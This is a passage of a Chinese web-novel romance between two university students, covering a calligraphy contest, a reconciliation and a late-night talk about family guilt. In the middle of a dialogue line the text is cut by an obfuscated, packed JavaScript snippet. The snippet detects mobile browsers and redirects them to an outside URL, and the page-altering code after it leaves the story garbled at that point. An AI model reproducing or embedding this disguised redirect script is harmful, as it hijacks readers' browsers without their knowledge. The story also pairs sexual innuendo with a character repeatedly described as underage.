作为一个合格的男朋友,霍晔当然要替人着急。 开学以来,曾盛豪太专注学习,一次社团活动都没参加过,第二课堂居然至今都是零分儿,唱歌跳舞射箭乐器那些社团太闹腾了,还强制抽出私人时间去训练,只有书画社这类心平气和且足够自我的文化比赛,很适合“宁静致远”同学来参加。 除此之外,曾盛豪一个不会做饭的人还报名了美食社,手里没有摄像机但也报了摄影社,还有一个毫无存在感、几乎申不下来几次活动的读书社,和一个网球社。 网球社是今年创立的,一共就仨人(校团委要求社团最少仨人结社): 大三的社长、社长同届的女朋友,和曾盛豪这个经常喜欢跑去网球场、眼巴巴坐在长椅上围观学长学姐谈情说爱的十万伏特闪亮电灯泡。 每次跟霍晔单方面冷战,曾盛豪表面不动声色,内心早乱糟糟仿佛废墟一样。 好容易清净一天,霍晔这个小他整整两岁的未成年居然胆敢专门跑来指点他练字,气得曾盛豪胸腔没由来又升腾起一股火。 曾盛豪头也不抬,冷淡道:“今早参赛群加进来了几个美院的,我没机会拿奖了,现在只想写几张我喜欢的交上去,有问题么?” 霍晔恍然大悟,心想难怪曾盛豪脸色这么臭,原来是碰上专业的了。 这次赛事,除了奖品,只有第一、第二名可以拿十分,第三名拿五分,其余人全都是两分的参与分,这对曾·龙傲天·盛豪来说,确实有点儿难以接受。 霍晔便安慰道:“你别灰心,等会儿我打个电话给你找外援,让我外公给你写几张,回头创飞他们所有人!怎么样?” 曾盛豪不悦瞪他:“你这是不尊重比赛,也不尊重我的劳动成果,更不尊重你外公。” 霍晔不禁有些头疼:“那我替你愁啊,你不愁吗?就算有美院的人参赛又咋啦?美院的人也是人,你也是人,人与人之间能差到哪儿去!再说那群浑身艺术细菌泛滥的人,他们脑子里天马行空的,能有你这老古董定力强么?” “你倒好,未战先退,长他人志气灭自己威风,你能有点骨气么?要么你就别写唐伯虎,还有机会拿个第二第三,上次国才杯演讲,季军不也让隔壁法学院的人拿走了么?那可是群英荟萃的国赛,人家法学院的都没怵咱们英专的,现在一个破社团赛,你个英专的怕个屁的美院的?” 听君一席话,曾盛豪登时豁然开朗,觉得霍晔说得十分有道理,不愧是年纪轻轻就在战略部门历练的储备干部。 曾盛豪内心给予对方完全肯定,但心里还记着霍晔上次让他“滚蛋”的仇,脸色依旧没好到哪里去。 曾盛豪冷哼一声:“我的事,你愁什么?” 霍晔见他那小模样儿就忍不住笑,笑完又哄:“你是我男朋友啊,我怎么不能替你愁了?诶,正好我最近手头刚做完一个针对小微企业融资难的风控模型,回头你拿去参加科创赛的挑战杯,帮你再拿个十分的创业分,怎么样?” 曾盛豪登时心动起来,难掩期待地问:“真的?” 霍晔点头:“还有几个数据银行和产线改造的项目,你看你更擅长哪个就讲哪个。” 曾盛豪便点头:“行,谢谢你。” 霍晔肩膀撞他一下,也哼一声:“这会儿怎么不说不尊重比赛了?” 曾盛豪义正辞严:“这是你我之间的事,上学期我帮你做作业搞值日,现在适当索取回报是应该的。” 好一句“应该的”,这说明就没把他霍晔当外人。 霍晔心里高兴,凑近吻他一下脸颊:“那你快点写,写完我们去约会吧。” 曾盛豪二话不说又拽着笔墨纸砚躲得他远远的。 霍晔不爽了,瞪他:“又怎么了?” “曾盛豪,我警告你别太作了,我的耐心很有限。” 曾盛豪心烦意乱,提笔悬在纸上,根本写不下去,眨眼之间,一滴浓墨不慎滴落,这才写了不到三分之一的字稿算是毁了。 曾盛豪烦躁不已,干脆将这张千元四尺的半熟宣揉皱成团扔在一边,他低头胡乱翻着帖子,埋怨道:“你都让我滚了,还来招惹我干什么?” “那你想怎么样?当初明明说好是及时行乐,现在你又给我搞这一出不觉得很好笑吗?”霍晔压着满腔火气,他觉得曾盛豪简直是天真到不可理喻! “不好意思!”曾盛豪也生气,冲他大声说,“我从来就没打算和你及时行乐!因为你欺骗过我太多次,我认为我偶尔对你说一次谎话也没什么关系!” 霍晔气笑了,他是发自内心地后悔不该招惹这祖宗爷,但当下也是百分百不情愿放手。 一时不知该怎么办好。 霍晔抬手捋两把头发,点头道:“行,我跟你好,你要想以后结婚也行,你打算领我去哪儿?你老家么?你确定你父母知道了不会打死你?你确定你能忍受一辈子不被世人祝福的、无法享受天伦之乐的同性婚姻?” “还有我,我全家都对我寄予厚望,我外公外婆爷爷奶奶四个老人年纪大了,他们受得住我再胡来?我叔叔的公司必须由我来继承,否则我们全家几代人的荣华富贵都要灰飞烟灭!还有我爸妈,他们退休以后是住老年干部社区还是豪华独栋大院,全看我能爬到什么位置,你一句心血来潮的‘我娶你’,你让他们这群人怎么办?让我怎么办?!” 一番话振振有词掷地有声,辩驳得曾盛豪彻底哑口无言。 “那你……”他不禁委屈,手指慌张地胡乱折叠着手边纸页,眼眶愈发泛酸,“你就别来招惹我啊……你又不能和我在一起,还总来找我干什么?” “你——!”霍晔咬了下后牙槽,见人这副样子又忍不住心疼。 “你有说谎的权利,我也想有和喜欢的人谈恋爱的权利。” 霍晔靠近过去,认真帮对方擦着眼泪:“曾盛豪,谈恋爱就是谈恋爱,甭想别的,知道么?” 曾盛豪抗拒地别过脸:“我没法不想。” 霍晔强行把他脸扳回来,沉声问:“那你告诉我,我跟你好了,你又能怎么办?” 曾盛豪瞪着他:“我要带你私奔,去一个没人认识我们的地方,最好是荷兰瑞士或者斯洛文尼亚这种小国,至于你家人和我家人,我会努力赚钱的!” 霍晔摇摇头:“欧洲不太行,最好是火星或者月球,不过就凭咱俩家的背景,你带我私奔到冥王星他们都能探测到。” 曾盛豪又愤愤别过脸:“反正都没戏唱,讨论这些有屁用!” 霍晔被他逗得一笑,双手捧住人脸,俯身在对方脑门上狠狠亲了一口。 不知不觉,曾盛豪也被他传染了说话方式,霍晔清晰地感知到心底正不断滋生着对这个人的爱意,他有意识地克制,然而那中了魔咒般的执念仍不受控制地渗透进他骨髓深处,诱他成瘾。 他越来越觉得,这个人是属于他的。 “曾盛豪,我喜欢你,无可救药的喜欢你。” 鉴于这是一个无解的命题,这事儿就此掀篇了。 曾盛豪态度很模糊,但绝口不再提要娶他的事,霍晔对大少爷的成长感到很欣慰。 假期一整天,霍晔待在教室陪男朋友练字写作品,曾盛豪虚心纳谏,听取了他的劝告,最后分别写了两张他最擅长的欧阳询和颜真卿,看得霍晔赞不绝口。 曾盛豪却不是很高兴。 他跟霍晔说,他看欧颜柳赵没有太大感触,也没有任何心法技巧,唯手熟尔。他从小就被爷爷逼着练这些,尽管临摹主流碑帖给他带来无数的奖杯荣誉,他仍不免心生抵触。 唐伯虎就不一样,他第一眼就很喜欢,但爷爷说他写不好,不让他写。 “为什么不让写?” “唐伯虎仕途太坎坷,前期风流潇洒,不适合我性格,中后期受阻挫败,风格转为沉郁苍凉,爷爷说字如其人,我写多了,寓意也不好。” 霍晔很不屑:“他这是唯心。” 曾盛豪在一旁埋头收拾着东西,也忍不住嘟哝:“我就是喜欢不适合我的,永远都要逢迎别人的趣味,就算拿了奖又有什么意义?” 然而抱怨归抱怨,曾盛豪心里也清楚,为了争取进前三名,选最擅长而不是最喜欢的,是他的明智之选。 晚上两人算是和好,惯例约会吃西餐看电影逛公园,霍晔牵着曾盛豪躲到密林隐蔽处接吻,曾盛豪没反抗,偶尔还会伸舌头回应一下,只是态 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倒完玻璃渣,霍晔冷笑一声,正要举右手扔掉,某人那句“开过光的,要洗完澡再戴”仿佛诵经一般,哞咪哞咪哄,不停回荡在他脑海深处。 霍晔鬼使神差地就跑去浴室洗了个澡,换了身严实的长袖睡衣,一边骂骂咧咧地痛斥曾盛豪太不是个东西,一边站在被砸得就剩半面的墙镜前,仔细将观音坠戴在了脖子上。 “还挺配我肤色……”霍晔自我陶醉欣赏地摆弄着肩膀,左转右转,愈发觉得曾盛豪眼光不赖。 欣赏完,他把自己哄好了,然后给曾盛豪发了一条信息: 【今晚我原谅你了,下不为例啊】 消息框持续两分钟显示“对方正在输入”,最终,对方回复他一句【嗯】。 伴着窗外明媚的星光夜色,霍晔嘴角含笑着迈入了书房。 * 两周后,趁着学校公休,书画社负责主办赛事的学姐一个电话打到曾盛豪这里,请他过来一趟崇德楼1502教室,他们有重要信息要找他核对。 曾盛豪云里雾里地就骑车过去了。 一推门,扑面袭来一股浓烈的浓墨纸屑味,前排坐着几位美院的老教授正说笑聊天,氛围轻松,后排站着几个学长学姐,正低头整理着桌上铺满了近乎百张的书法参赛作品,不时互相交谈几句。 每张作品都打了分数,只有在几位教授手边的四张作品特地用红圈标出1234,被压在精美文具礼盒奖品的下方。 四张? 曾盛豪诧异,心想他居然这么强么?能在好几个美院生里闯出名次来? 老实说,自从出国离开爷爷后,他学习紧张,几乎没碰过笔墨纸砚,要不是为了赚学分,他大学也没那闲情逸致去写。 联系他的学姐走过来,问:“同学,你是外院二班的曾盛豪吗?” 曾盛豪点头:“是。” 学姐便把那四张获奖作品拿到他面前,挨个给他看。 不出所料,大家都写自己擅长的,三张颜真卿,功力不相上下,他写的那张是第四,96分。 曾盛豪抿了抿唇,不禁懊恼起那天不该让霍晔陪他写字。 他练字,霍晔就托腮坐在旁边,那嘴巴叽叽喳喳的,不停给他讲些公司同事的奇闻轶事和八卦黑料,吵得他心都不静了。 然而他不仅没把人赶走,还不时被对方逗笑,这是他自己的问题,曾盛豪深刻反省自己,他不该把自己的无用推卸到霍晔身上。 第一名是99分,写的唐伯虎,教授说是位难得的人才,笔法又极具个性,因此破格给了高分,至于抹掉的那一分,是不许他太骄傲。 曾盛豪一见那副字就被惊摄到了,满纸洋溢着少年的潇洒气,字迹却是浑然天成的老练,端丽腴润,欹正相生,他简直爱不释手,捧在手里欣赏好久。 他不晓得是美院的哪位书法生,既然是同届的同学,他真是自愧不如、望尘莫及!曾盛豪私心偏爱,觉得教授评分太不公平了,这同学拿二百分都是实至名归!!! 然而一看底下落款: 戊戌暮春霍慕豪书 背面学号也是他曾盛豪的学号,难怪学姐找他确认第一名和第四名是否为同一个人。 “同学,这一张是你的吗?” “如果是你的,我们最终公布获奖名单是要求真名的。” 曾盛豪愣了一下,不明白霍晔搞什么幺蛾子。 他请学姐稍等,眯眼扒着纸又仔细看了两遍,字里行间,好似已经清晰映照出那个少年洒脱带笑的影子。 直觉上,他又不认为是邵老爷子写的。 “同学?”学姐轻声催促。 “是我的。”曾盛豪嘴角几乎要压制不住,抬头冲她笑得一脸傻气:“我忘记多交一份了,麻烦学姐在名单上改成我的名字吧,谢谢。” 29.第二十九章 因为那张唐伯虎,曾盛豪重新开始坐龙溪接送的车。 龙溪苦尽甘来,打电话找霍晔汇报,说你那个小情人儿可算是想开了,天知道这阵子他把那辆越野SUV洗了多少遍,连内饰都全换了新。 龙溪至今以为曾盛豪闹脾气是因为苏姿,霍晔也没解释,只回复龙溪:“他不是我小情人,他是我男朋友。” 不待龙溪再调侃他,他便借口工作忙,挂了电话。 霍晔没打算再惯着曾盛豪这少爷脾气。 曾盛豪如果真心想和好,要么给他发消息,要么上课继续挨着他坐,哪怕冲他笑一声都行,这成天在他面前飘来飘去装得像个空气人,下晚课倒跟龙溪混得挺熟,还主动和龙溪聊起意大利语课的进度,几个意思? 霍晔窝着火,哪怕有闲暇时间,也一次都没去接曾盛豪下晚课。 快一个月过去了,共上过十二节晚课,曾盛豪还私下请龙溪吃过几次蒸汽海鲜锅和潮汕火锅,两个一米八几的大男人凑在一起喝酒又吃肉的,霍晔这都没气疯? 他一开始很镇定,最后实在憋不住,问了几次龙溪“霍晔呢?”,龙溪就笑,说他在加班。 “他去年轮岗的六个部门考核结果全是A+,今年工作上手了,难度持续加大,他压力也不小呢。” “等六月底他到底能不能以‘邵小军’的身份直接越级提拔到总裁办,让高层都看到他的实力,成败就全在这半年了。” “但凡剩下这八个部门主管有一个评了B+,他一整年功夫都白费,还得打回原形重新下去历练。” 工作是正经事,况且邵小军肩负重任,曾盛豪又无话可说。 霍晔在学校也不追着他跑了,仗着有个超强大脑,上课埋头补觉不做笔记,下课直接跑去找各科老师要来这学期的PPT和作业,花费一整周时间,一劳永逸做完都交上去,现在就等着期末考试了。 霍晔在宿舍喜欢随地大小躺,但没再躺他床了,刚开学就和江箫换了上下铺位,每天浑身疲惫地卡着宵禁回宿舍,闭眼倒在床上就睡熟了,偶尔累得还会打鼾,大清早就开车回家洗澡吃饭,不知道专门折腾这一趟图个什么劲儿。 想到公寓—— 曾盛豪这才意识到霍晔有段时间没回宿舍住了,大概他没主动找霍晔和好,霍晔烦得不想见他。 “霍晔呢?”这晚一上车,曾盛豪习惯性又问一遍废话。 “公司加班呢。”龙溪说。 “你打电话问他公寓门密码是多少,我今天想去他家住。” “啊、啊?”龙溪诧异扭头。 “我今晚不想住酒店了。”曾盛豪飞快地说,然后别过脸,若无其事地望向车窗外霓虹影乱的城市夜景。他也是鼓足了很大勇气才说出口的。 手掌心还攥着在上课期间写好的纸条,如果霍晔不愿意告诉他密码,他就让龙溪把纸条转交给对方。 是一串意大利语: 【Grazie per avermi aiutato l''altra volta,vorrei che tu mi parlassi.】 (谢谢上次你帮我,我想和你说说话。) 依照他对霍晔旺盛好奇心的了解,不管霍晔多讨厌他,都一定会去搞清楚纸条写的什么。 然后霍晔就会跑来找他说话了。 发消息不太行,他刚发过去,对方一秒生成翻译,怪令人尴尬的。 当面说或者打电话那就更不可能了。 他实在做不来太主动的那个。 霍晔通过龙溪把家里密码【141106】给他了,曾盛豪回家洗完澡躺在床上,目不转睛地盯着床头柜的电子钟,一直紧张期待到凌晨四点半,才确定霍晔今晚是不会回来住了。 曾盛豪一怒之下,天天跑去霍晔公寓住。 霍晔家阿姨喊他“小曾”,小曾在霍晔不回家的日子里,吃着阿姨给做的营养餐、用着采光透亮的书房、睡着主卧柔软的大床、深夜偷溜去蕾丝客房翻腾出霍晔戴过的那只毛绒狐狸尾巴,变态一样藏在被窝里一通乱闻乱摸、清早不重样换着橱柜里新衣服穿,某天时间充裕,他还喊物业过来把浴室裂半面的墙镜给修好了,并支付了高额的修理费。 阿姨对他态度十分殷勤,还夸他有一家之主的风范,不像小霍似的习惯随地大小躺,经常醉醺醺睡倒在客厅地毯上,要么一回家就抱着马桶吐,吐完翻身就爬进浴缸,闭着眼把浴缸当床睡,清早又匆匆洗漱吃饭,要么去学校听课,要么回公司上班。 “亏得他身子骨儿硬朗,这要搁一般人谁扛得住啊!” 这话听得曾盛豪揪心,很难再忽视“虽然霍晔是一个可爱性感的未成年男孩儿,但确实不是一个小孩儿,并且他的日子过得并不比任何一个成年人轻松”这个事实。 作为一家之主,曾盛豪果断给霍晔打了电话,询问对方最近过得好吗? 霍晔最近没来学校上课,曾盛豪平时见不到他,趁着对方没回复,曾盛豪一鼓作气,又问自己能不能去霍晔公司接他下班? “别来,”霍晔立刻说,“公司人多眼杂的,你又藏不——” 话音到一半,他婉转轻哼一声,笑道:“你在家等我吧。” 曾盛豪笑意浮上嘴角,轻轻“嗯”了一声。 霍晔似乎能看见他笑,不禁埋怨道:“你现在才找我。” 曾盛豪连忙认错:“是我不好,上次书画社比赛的事……还有上周创业赛的事,我都还没正式谢你。” 霍晔又哼:“那你打算怎么谢我?” 曾盛豪想了想,说:“我请你吃蒸汽海鲜锅,龙溪说你也很喜欢吃,还有潮汕火锅,我想和你一起。” 霍晔皱眉道:“就这?你都不想我?不打算跟我亲个嘴儿什么的?” 曾盛豪笑起来:“行!” 霍晔也笑:“还有呢?就没其他话想对我说了?” 曾盛豪毫不犹豫道:“上次那张唐伯虎,我一直很想亲眼看你现场写一遍,等晚上回家了,你再给我展——” 霍晔二话不说就撂断了电话。 曾盛豪愣了下,不明白自己哪里又说错话了。 仔细回忆了两人对话,他恍然,低头认真敲下一行字,给对方回复: 【我想你】 霍晔半晌才回复: 【下次重要的话要第一句说】 曾盛豪抿唇笑了声,回复: 【好的】 霍晔: 【跟我线上聊天要加表情包】 曾盛豪立刻发过去一个“收到”的粉红小狐狸。 霍晔觉得孺子可教,满意评价: 【还挺可爱】 曾盛豪: 【你更可爱】【太阳emoji】 霍晔耳根一热,满脑子顿时涌起无数句骚话情话,他两只眼盯着手机键输入老半天,最终也没憋出一个字儿来。 · 霍晔家阿姨晚八点下班,今晚刚好有意大利语课,曾盛豪就请了假,请阿姨临走前教他做手擀面。 同时还点了手撕鸡、麻酱凉拌菜和夫妻肺片几道爽口小菜,等霍晔十点下班回来,两个人煮面当夜宵吃。 曾盛豪学起做饭来,只教一遍就能轻松上手。 在阿姨笑眯眯地指导下,他把擀好的粗面条规整放进冻面塑料盒里,存贮进冷鲜层,然后切了些葱花香菜,拿出紫菜和虾皮往两个大海碗里按比例分好。 香油味精盐酱油这些也要按勺分比例,他逐一记录下来,贴在灶台旁边,等煮完面再调制汤底。 阿姨对他赞不绝口,不停夸他“真不错”、“记性真好”、“难怪小霍喜欢你”。 曾盛豪就笑,说:“应该的。” 之前他认为君子远庖厨,没必要在琐事上浪费精力,后来霍晔给他煮了一碗香喷喷的阳春面,他又觉得,会做饭的人原来很有魅力。 在他家,他爸十指不沾阳春水,他妈也从未做过饭,但他爸这么一个极端注重高效的人,最喜欢做的事却是手冲咖啡,然后邀请他妈逐杯品鉴;他妈时常穿梭于各国时差中,最基础的睡眠都无法保证,竟也会抽空给他爸织毛衣……这样想来,他给霍晔做一碗手擀面理应是分内之事。 晚上霍晔下班回家,外套没脱皮鞋没换,半困半醒地闭着眼就往客厅沙发上倒,曾盛豪端着两碗汤面出来,喊他先吃了饭再睡。 “本来最近就闹胃疼,还总饥一顿饱一顿的。” 霍晔闻声腾地一下坐起身,冲人眯眼笑:“快,快抱我!” 曾盛豪笑了声,将热气腾腾的碗放饭桌上,走过去俯身和对方抱了一下。 霍晔连续吻他好几下嘴角,眨眼问:“不是十一点下课吗,你怎么比我回来的还早?” 曾盛豪手掌揉着他脑袋瓜,笑道:“我今天请假,想做饭给你吃。” 霍晔这才意识到这个点阿姨早下班了,满屋飘香的汤面味道是曾盛豪的手艺。 他诧异:“不会是方便面吧?” 曾盛豪轻哼一声:“你这么瞧不起我?” “哪有,”霍晔双手捧住他脸捏了捏,笑道,“只要是你做的,我都喜欢吃,但是有件事儿我得提前跟你说清楚。” 每次一听霍晔要说事儿,曾盛豪就不免心惊胆战。 他紧张问:“什么事?” 霍晔严肃道:“在我们老霍家,从上到下都是老婆做饭,老公洗碗,你现在给我做了面条,你就是我老婆了,知道了吗?” 曾盛豪不禁莞尔:“那上次你也给我煮面了,怎么说?” 霍晔轻哼:“但是我喊过你‘老公’了,你还没有喊过我。” 曾盛豪想了想,说:“等你成年,否则我这样叫你,显得有点不伦不类。” 霍晔没好气翻白眼:“那你半夜摸我啃我的时候就有伦有类了?” 曾盛豪“蹭!”一下弹起身,飞步飘去厨房端小菜,招呼道:“快去洗手吃饭吧,不然面都要凉了。” 晚餐热面凉菜,清香扑鼻,俩人不时吸溜两声,很朴实的一顿饭。 霍晔吃得舒服,额头发了些汗,起身要去冰箱拿啤酒,曾盛豪不让,拽着他坐下,给他倒了杯温水。 席间谈话,曾盛豪很委婉地提醒霍晔,以后不要再说“鸡儿”了,有点粗俗,要用“私|处”、“下身”或者英法文替代,他能听懂。 “或者像你第一次那样,”曾盛豪好言道,“你说叠词,也比较可爱。” 霍晔不以为然:“两个大男人说话,哪至于这么文绉绉的?你替换再多词儿,难道鸡儿它就不是鸡儿了?” 曾盛豪苦恼:“但是我听不太习惯。” 霍晔哼道:“那你就找个愿意说‘penis’的人当你男朋友得了呗!” 曾盛豪不吱声,一双浓眉大眼幽幽地瞅着他,深闺怨夫似的。 霍晔无奈摆手:“成成成!penis就penis!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527738|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾盛豪就笑:“嗯!” 曾盛豪做饭,曾盛豪主动洗碗。 霍晔双手抱臂倚靠在厨房门口,一脸笑意地瞅着曾盛豪认真操作洗碗机,感慨说现在时代好起来了,轮到他这一辈,老公都不用手洗了。 曾盛豪犹豫了下,扭头问:“那我现在……要都拿出来洗吗?” 霍晔笑得不行:“不用,你那双手可是用来指点江山挥斥方遒的,我可舍不得弄得你满手油腻腻的。” 曾盛豪纠结道:“那这样的话,这碗还算是我洗的吗?” 霍晔点头:“算,碗筷是你拿进去的,桌子也是你擦的,怎么不算你洗的呢?” 曾盛豪放心点头:“行!” 霍晔一见他那傻样儿就想笑,笑完又忍不住扑过去亲他,刚抱着曾盛豪吻了两下脸颊,正想深入接吻,曾盛豪突然想起什么,好奇问他:“你爸妈家离咱学校也不远吧,你怎么不住你爸妈家?你之前在国外待了四年,他们不想你吗?” 霍晔私宅距离学校十分钟路程,但他父母住的家属院并不远,哪怕一路全是红灯,开车半小时就能到,如果他每天回家住,不仅有家人陪伴,还不用多花费钱雇长期阿姨。 毕竟阿姨再贴心也有下班时间,霍晔习惯早出晚归,夜里动辄就醉倒在家里,实在太容易生病了。 这事儿曾盛豪第一次来霍晔公寓就想问了,但当时两人关系没到这份儿上,他没立场打探霍晔的家事。 现在不一样,他们是同床共枕、讲过无数睡前故事的关系。 霍晔愣了下,似乎没想到曾盛豪会这么问。 他很随意地笑了声:“现在年轻人谁愿意跟父母住啊,我想有自己的独立私人空间不是很正常么?” 曾盛豪皱眉:“你不仅是年轻人,你还是未成年人,你的生活需要有阅历丰富的监护人来每天提醒你吃饱穿暖、按时睡觉。” 霍晔不以为然:“我全家上下没一个把我当未成年的。” 曾盛豪心里一紧,忍不住轻声问:“你……和你爸妈关系不好?” 霍晔摇头:“他们对我可以称得上是‘溺爱’。” 曾盛豪不解:“那……” “我不知道该怎么跟你说,”霍晔苦笑,“但是在他们身边,我没办法好好的呼吸。” “是……”曾盛豪犹豫道,“是因为你喜欢男人吗?” “有这部分的原因,”霍晔点头,“但归根到底,全是我的问题。” “喜欢男人又不是什么错事,况且你还是个未成——” “你别再说我未成年了行不行?!”霍晔不耐烦打断,眼底不知何时起了雾气,他红着眼眶瞪向曾盛豪,“算我求你,我没你想得那么好!我用不着谁来替我辩解什么!你自以为是的偏袒只会和他们一样!压得我喘不过气!!!” “你每天都按我公寓的密码锁进门,难道就不好奇141106的意思么?” 曾盛豪愣了下,他确实好奇,因为这既不是霍晔的生日,也不是他的,看年份显而易见也不是霍家父祖辈的。 他刚要张嘴问,霍晔便直接回答了: “是我妈的预产期,我小弟弟的生日。” “我妈那年四十岁,大龄孕妇,她和我爸是晚婚,他们怀了二胎本来很高兴,但是因为我任性胡闹,她打掉了怀了快四个月的孩子,还打电话跟我道歉。” “她、她跟我道歉……”霍晔哭出声,“她怎么能跟我道歉呢……” “祸是我惹的,狠毒的话也是从我嘴里说出来的,像我这种不懂感恩父母的不孝子,她怎么能跟我道歉?”霍晔哭得泪流满面,“可是,你知道吗,我至今连一句‘对不起’或者‘没关系’都没跟她讲过,我……我说不出口。” “曾盛豪,你也觉得很好笑吧?”霍晔哭着哭着又嘲讽地笑起来,“我这么废话连篇的人,居然连这么简单的三个字都说不出口。” “是我不好。” 曾盛豪心疼不已,忙将人抱紧进怀里,歉疚道:“是我不该问,是我让你想起不好的事,都是我不好。” “当然是你不好!”霍晔哭得更大声,狠狠一拳捶他肩窝里,“他妈的,都是你不好!” “对不起,对不起!”曾盛豪疼得嘶了口气,提议道:“明天我们把密码换了吧,改成我生日好不好?我生日是元宵节,很喜庆的。” 霍晔气得一笑,猛吸两下鼻涕,没忍住又狠狠给他好几拳:“曾盛豪你要脸吗?这是我家!” 曾盛豪咬紧牙闷哼一声,说:“我不要脸,我要你换密码,我要你每次进家的时候,脑海里闪过的都是红色脆响的鞭炮和绚烂梦幻的花火游船,我要你的内心和你表面都是一样的开心热闹。” “狗屁的鞭炮游船,”霍晔闷声哼道,“我只会想起你像元宵一样白腻腻的大脸!” “那更好了,”曾盛豪温柔替他擦拭掉眼角的泪,“弥补了我作为一个人不能被你食用的短板。” 霍晔不禁脸颊发烫起来。 他眸底星光闪烁,试探地望着对方:“那……那你想被我食用吗?” “我想,”曾盛豪笑,“但是现在不行。” 霍晔不乐意哼一声:“又说我是未成年!” 曾盛豪:“还有一件更重要的事。” 霍晔挑眉:“啥?” 曾盛豪同样眸光希翼地望着他,几乎是恳求的语气: “霍晔,哪怕你只写几个字,让我看一眼唐伯虎的现场吧。” 30.第三十章 曾老卸任归家后,立马被他们当地某所985大学聘请为外国语学院小语种分系的副院长,奈何老人家体弱多病,在岗没几年就被迫离职了,当地书协、作协、省戏剧家协会聚集当代众多文艺界泰斗,数位领导登门拜访,诚聘曾老就任他们协会的副主席,曾老力不从心,无奈都因病谢辞。 然而文人墨客,无一不喜爱阳春白雪,曾老身体稍微恢复健康,就要跑去协会和诸友交流切磋,每次出门都一定要携带爱孙。 曾盛豪打小就是在这样一群老头儿云集的书香环境里成长起来的。 他并非没领教过老辈们书写唐伯虎的功法,可是他们风格或苍茫遒劲,或豪迈壮阔,大多甚至挥笔立就一气呵成,纵眼望去,匠气十足,近乎完美复刻,气势更如排山倒海一样,冠压群儒。 他们是阅尽千山的年纪,可唐伯虎是“性极颖利,度越伦辈”、轰动江南文坛的“童髻中科第一”神童;是“四海惊称之”、年仅十六岁的少年天才;是被应天府主考官梁储评价笔下“有江山气,当为天下士”的魁首唐解元! 他是秉性骄狂的公子哥儿,是潇洒风流的皎皎才子,这才是后世无数人、也是曾盛豪为之痴迷倾倒的地方。 所以,老头子们写的再好能有什么意思? 韶华已逝,笔法如心法,凌然盛气泯灭殆尽,纵有千秋万世的功底,哪有一个真正的少年才子写得洒脱漂亮? 要不是上次书法赛,曾盛豪都没意识到他从来没见过霍晔的字迹。 霍晔上课从来不做笔记,非要整理的东西就挪到电脑上,平时要填的一些申请书啊、资料表格这些,一律由被他夸赞无数次“写字好看”的曾盛豪手写代劳。 曾盛豪不禁在心里冷呵一声,他才觉得自己被霍晔骗得好苦! 前阵子冷战,曾盛豪不想认输,于是背地里跑去找宿管阿姨,说他想看一眼去年夏季入学时609宿舍新生的签到表。 宿管阿姨挺喜欢他,没多问就给他拿了。 曾盛豪连忙去掀霍晔的亲笔签名,结果大失所望: 霍晔那个宇宙超级无敌大混蛋,居然完全仿照他的字迹来签的! 那还有什么好欣赏的? 所以,今晚,霍晔必须得给他写几个字儿! 霍晔不太乐意配合。 他对这位唐伯虎脑残粉有目的地接近他感到很失望,但他是有大格局的人,在提出方案一“你陪我洗个鸳鸯浴,我就给你写”遭到曾盛豪严肃拒绝后,霍晔便提出方案二: “多讲几句好听的,把我哄高兴了,我就给你写。” 他随手往床上丢了条拴着迷你黄金铃铛的一片式黑蕾丝内|裤,又从橱柜勾指挑起一件白色半透明的遮臀衬衣,摆着腰肢扭着胯骨,风骚十足地迈入浴室洗澡。 曾盛豪臂间挽着一件厚实的睡袍,眼风不时瞥向床尾那片布料还没他掌心宽的内|裤,十分老实巴交地守在浴室门外,商量道: “小晔,等下要去书房,你穿这个会不舒服。” “那我不去书房不就得了?” “你——!”曾盛豪皱了下眉,“我都喊你小晔了……” “你之前还喊我宝贝呢!” “那是在特殊场合才会喊,平时不能喊。” “为什么不能喊?” “喊多了,你就不新鲜了,我又不会别的……” “曾盛豪。” “嗯?” “你个大傻蛋。” 霍晔半裸着身子推门出来,还没开始夹嗓子喊一声“盛豪哥”,曾盛豪搞偷袭一样,火速给他用睡袍裹紧。 然后俯身弯腰,双手撑着一条四角CK内裤,语气淡淡地命令“抬左脚”、“抬右脚”,逗得霍晔笑得花枝乱颤。 “曾盛豪,你就说一句中文版的‘我喜欢你’能死啊?” 曾盛豪充耳不闻,二话不说捞起霍晔的腰,将人抗到肩上,迈着大步往走廊尽头的书房里走。 “给我写两句,我想看。” “你要非不写,我以后不跟你说话了。” 霍晔笑得要岔气,知道这傻小子今晚见不着他写是绝不会睡觉的了。 看在曾盛豪是诚心实意、并贴心地帮他装修了新墙镜的份上,还有最主要原因—— 霍晔被强行摁在座椅上,曾盛豪奖励般俯身亲吻了一下他的嘴角,小声在他耳畔咕哝了句:“求你。” 霍晔也只好红着脸点头:“好吧。” 曾盛豪化身书童,十分狗腿地帮他铺开笔墨纸砚,摆好书贴,又殷勤帮他调墨、润笔,双手恭敬递给他。 “我没在你家找到可以临摹的书帖,就从学校把我买的都拿来了。” 曾盛豪住进来第一天就把霍晔书房翻了个底朝天,可惜大部分是金融经济类的书,要么就是当摆设用的哲学文史,一本书贴都没有。 “不用。”霍晔头也不抬,随手“啪”一声将书贴合上,直接聚精会神拎笔开写。 这房子他搬进来不到一年,行李装的都是自己的东西,他外公、他妈那些文艺玩意儿,他有意识地回避。 不过他也好久没练字,月初帮曾盛豪写作品,光开笔练习就花了三个多小时,全程只盯着手机搜来的帖子。 屏幕太小,瞅得他眼疼,直到清晨六点半才终于完成。 “你就直接写啊?”曾盛豪诧异,“你都背过了?” “对啊,”他仰脸冲人一笑,“这不是什么难事儿吧?” 曾盛豪脸上腾地一红,一时胸腔涌出无数羡慕嫉妒恨,更多的,他几乎要掩饰不住对这个近乎全能的少年的憧憬崇拜。 他不禁惭愧低头:“霍晔,我真是……唉,我比你差太多了。” 霍晔嘴角微翘,正想模仿曾盛豪平时那故作谦虚的死相儿说一句“过奖了”,曾盛豪提醒道: “等会儿你记得在落款处写是赠送给我的,你自己的真名也要写上,我明天找人裱起来邮寄到我家里去。” 霍晔:“……” 他有点诧异:“至于吗?” 曾盛豪笑着点点头。 